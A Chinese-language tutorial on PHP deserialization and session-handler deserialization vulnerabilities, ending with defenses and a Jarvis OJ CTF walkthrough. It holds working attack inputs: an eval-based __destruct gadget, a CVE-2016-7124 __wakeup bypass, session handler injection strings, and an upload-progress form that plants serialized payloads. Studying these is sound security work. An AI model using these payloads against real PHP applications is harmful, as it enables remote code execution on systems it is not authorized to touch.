原理+实践掌握(PHP反序列化和Session反序列化)
字数 1692 2025-08-20 18:17:31
PHP反序列化与Session反序列化漏洞详解
一、PHP序列化基础
1. 序列化函数:serialize()
PHP中的serialize()函数可以将任何PHP值转换为可存储的字符串表示形式。
$s = serialize($变量); // 将变量数据序列化为字符串
file_put_contents('./目标文本文件', $s); // 将序列化字符串保存到文件
2. 序列化格式解析
示例:
class User {
public $name = 'lemon';
public $age = 20;
}
$user = new User();
echo serialize($user);
// 输出: O:4:"User":2:{s:4:"name";s:5:"lemon";s:3:"age";i:20;}
格式说明:
O:4:"User":2:{s:4:"name";s:5:"lemon";s:3:"age";i:20;}
O- 对象类型4- 类名长度User- 类名2- 属性数量{...}- 属性列表,格式为类型:长度:"名称";值
类型缩写:
a - array b - boolean d - double
i - integer o - common object
r - reference s - string C - custom object
O - class N - null R - pointer reference
U - unicode string
二、PHP反序列化基础
1. 反序列化函数:unserialize()
$s = file_get_contents('./目标文本文件');
$变量 = unserialize($s); // 将序列化字符串还原为PHP变量
重要注意事项:
- 在反序列化对象前,该对象的类必须在当前作用域中已定义
- 否则会触发错误
2. 反序列化过程示例
class User {
public $name;
public $age;
}
$serialized = 'O:4:"User":2:{s:4:"name";s:5:"lemon";s:3:"age";i:20;}';
$user = unserialize($serialized);
echo "User {$user->name} is {$user->age} years old.";
三、PHP反序列化漏洞
1. 魔法函数(魔术方法)
PHP中以__开头的类方法为魔术方法,会在特定条件下自动调用:
__construct() // 对象创建时调用
__destruct() // 对象销毁时调用
__toString() // 对象被当作字符串使用时调用
__wakeup() // 使用unserialize时触发
__sleep() // 使用serialize时触发
__call() // 调用不可访问方法时触发
// 其他魔术方法...
2. 漏洞产生条件
反序列化漏洞需要满足两个前提:
unserialize()的参数可控(用户可输入)- 代码中定义了含有魔术方法的类,且方法中存在使用类成员变量作为参数的危险函数
3. 漏洞利用示例
class A {
var $test = "demo";
function __destruct() {
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
攻击者可构造payload:
?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}
更危险的例子:
class A {
var $test = "demo";
function __destruct() {
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
$test_unser = unserialize($pp);
四、绕过魔法函数的技巧
1. CVE-2016-7124漏洞
影响版本:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
绕过原理:
当反序列化字符串中表示属性个数的值大于真实属性个数时,会绕过__wakeup()函数的执行
2. 绕过示例
原始序列化:
O:4:"Demo":1:{s:10:"Demofile";s:16:"Gu3ss_m3_h2h2.php";}
绕过方法:
- 修改属性数量:
O:4:"Demo":2:{s:10:"Demofile";s:16:"Gu3ss_m3_h2h2.php";} - 绕过正则检测:
O:+4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
五、Session反序列化攻击
1. Session基础知识
Session作用:
存储特定用户会话所需的属性及配置信息,在用户访问网站期间保持不变
Session存储:
默认存储在服务器文件中,路径可通过php.ini的session.save_path配置
2. Session处理引擎
PHP有三种session序列化处理器:
| 处理器 | 存储格式 |
|---|---|
| php | 键名|序列化值 |
| php_serialize | 序列化整个$_SESSION数组 |
| php_binary | 键名长度+键名+序列化值 |
3. 漏洞产生条件
当应用程序混合使用不同的session处理器时,可能导致反序列化漏洞
4. 攻击示例
场景1:直接操作$_SESSION
1.php (使用php_serialize):
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['lemon'] = $_GET['a'];
2.php (使用php):
ini_set('session.serialize_handler', 'php');
session_start();
class student {
function __wakeup() {
echo "Hacked!";
}
}
攻击步骤:
- 访问1.php传入payload:
?a=|O:7:"student":0:{} - 访问2.php触发反序列化
场景2:利用upload_process机制
当无法直接操作$_SESSION时,可利用PHP的文件上传进度特性:
<form action="target.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="|payload" />
<input type="file" name="file" />
<input type="submit" />
</form>
六、防御措施
- 不要反序列化不可信的用户输入
- 使用一致的session序列化处理器
- 对序列化数据进行签名验证
- 使用
session_regenerate_id()防止session固定攻击 - 及时更新PHP版本,修复已知漏洞
七、实战案例
1. Jarvis OJ - PHPINFO题目分析
漏洞点:
- 默认session处理器为php_serialize
- 题目使用php处理器
- 利用upload_process机制注入恶意序列化数据
攻击步骤:
- 构造payload序列化对象
- 通过文件上传表单注入session
- 触发反序列化执行任意代码
class OowoO {
public $mdzz = "print_r(scandir(dirname(__FILE__)));";
}
echo serialize(new OowoO());
// 构造: |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
总结
PHP反序列化漏洞是Web安全中的重要攻击面,理解其原理和利用方式对于安全研究和防御都至关重要。关键点包括:
- 序列化/反序列化过程
- 魔术方法的触发条件
- Session处理器的差异
- 实际环境中的利用技巧
通过深入理解这些机制,可以更好地发现和防御相关漏洞。